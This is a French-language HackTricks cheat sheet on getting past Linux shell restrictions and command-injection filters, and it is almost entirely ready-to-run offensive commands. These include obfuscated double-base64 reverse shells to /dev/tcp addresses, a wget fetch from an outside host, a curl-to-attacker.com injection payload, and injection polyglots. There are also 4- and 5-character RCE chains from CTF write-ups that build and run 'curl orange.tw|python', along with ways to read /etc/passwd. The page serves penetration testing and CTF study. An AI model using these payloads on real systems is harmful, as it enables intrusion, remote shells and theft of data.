Français - Ht
HackTricks Training Twitter Linkedin Sponsor

Bypass Linux Restrictions

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

Contournement des Limitations Courantes

Shell Inversé

# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Coquille inversée courte

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

Contourner les chemins et les mots interdits

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64


# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

Contourner les espaces interdits

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

Contourner l'antislash et le slash

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Contourner les pipes

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Contourner avec un encodage hexadécimal

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

Contourner les IPs

# Decimal IPs
127.0.0.1 == 2130706433

Exfiltration de données basée sur le temps

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Obtenir des caractères à partir de variables d'environnement

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

Exfiltration de données DNS

Vous pourriez utiliser burpcollab ou pingb par exemple.

Commandes intégrées

Dans le cas où vous ne pouvez pas exécuter des fonctions externes et que vous avez uniquement accès à un ensemble limité de commandes intégrées pour obtenir une exécution de code à distance (RCE), il existe quelques astuces pratiques pour y parvenir. Habituellement, vous ne pourrez pas utiliser toutes les commandes intégrées, donc vous devriez connaître toutes vos options pour essayer de contourner la restriction. Idée de devploit. Tout d'abord, vérifiez toutes les commandes intégrées du shell. Ensuite, voici quelques recommandations:

# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

Injection de commande polyglotte

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Contourner les regex potentielles

# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`

Bashfuscator

# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'

Exécution de code à distance avec 5 caractères

# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

Exécution de code à distance avec 4 caractères

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'

Contournement de la restriction de lecture seule/Noexec/Distroless

Si vous vous trouvez dans un système de fichiers avec les protections en lecture seule et noexec ou même dans un conteneur distroless, il existe encore des moyens d'exécuter des binaires arbitraires, voire un shell !:

pageBypass FS protections: read-only / no-exec / Distroless

Contournement de Chroot et autres prisons

pageEscaping from Jails

Références et Plus

Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

LogoWorkflow-powered solution for Bug Bounty, Pentesting, SecOps | TrickestTrickest
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

PrécédentUseful Linux CommandsSuivantBypass FS protections: read-only / no-exec / Distroless

Dernière mise à jour